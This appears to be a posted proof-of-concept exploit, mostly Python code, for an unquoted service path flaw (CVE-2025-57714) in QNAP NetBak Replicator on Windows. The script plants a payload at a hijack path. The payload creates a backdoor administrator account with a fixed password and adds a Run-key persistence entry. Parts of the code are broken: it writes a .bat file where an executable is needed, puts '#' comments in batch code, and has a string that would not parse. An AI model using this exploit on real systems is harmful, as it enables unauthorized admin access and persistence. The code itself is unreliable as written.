CVE-2025-57714：QNAP NetBak Replicator未引用搜索路径漏洞

# CVE-2025-57714 PoC - Unquoted Search Path Exploitation # Target: QNAP NetBak Replicator < 4.5.15.0807 # Vulnerability: Unquoted Search Path allowing local code execution import os import sys import shutil from pathlib import Path # Step 1: Identify the vulnerable service path # The vulnerable NetBak Replicator service typically has an unquoted path like: # C:\Program Files\QNAP\NetBak Replicator\service.exe # Without proper quotes, Windows will try: # C:\Program.exe -> C:\Program Files\QNAP\NetBak.exe -> ... VULNERABLE_SERVICE = r"C:\Program Files\QNAP\NetBak Replicator\NetBakService.exe" HIJACK_PATHS = [ r"C:\Program.exe", r"C:\Program Files\QNAP\NetBak.exe", r"C:\Program Files\QNAP\NetBak Replicator\NetBak.exe" ] def generate_malicious_payload(output_path): """Generate a malicious executable payload for path hijacking""" # Simple reverse shell or command execution payload payload_code = ''' @echo off # Malicious payload - executes with NetBak Replicator service privileges net user attacker P@ssw0rd123 /add net localgroup administrators attacker /add # Add persistence mechanism reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NetBakUpdater" /t REG_SZ /d "{path}" /f '''.format(path=output_path) with open(output_path + ".bat", "w") as f: f.write(payload_code) print(f"[+] Malicious payload generated at: {output_path}.bat") def exploit_unquoted_path(): """Exploit the unquoted search path vulnerability""" print("[*] CVE-2025-57714 - QNAP NetBak Replicator Unquoted Path Exploit") print("[*] Checking prerequisites...") # Check if we have write permissions to C:\ drive test_file = r"C:\write_test.tmp" try: with open(test_file, "w") as f: f.write("test") os.remove(test_file) print("[+] Write permission confirmed on C:\") except PermissionError: print("[-] Insufficient privileges. Need local user access at minimum.") return False # Place malicious executable at the hijack path # The earliest matched path in the unquoted resolution will be executed hijack_target = HIJACK_PATHS[0] # C:\Program.exe print(f"[*] Planting malicious payload at: {hijack_target}") generate_malicious_payload(hijack_target) print("[+] Payload planted successfully") print("[*] Waiting for NetBak Replicator service to restart...") print("[+] When the service starts, it will execute the malicious payload") print("[+] Code execution achieved with NetBak Replicator service privileges") return True if __name__ == "__main__": if exploit_unquoted_path(): print("\n[!] Exploit completed. Clean up planted files after exploitation.") else: print("\n[-] Exploit failed. Ensure you have local user access.")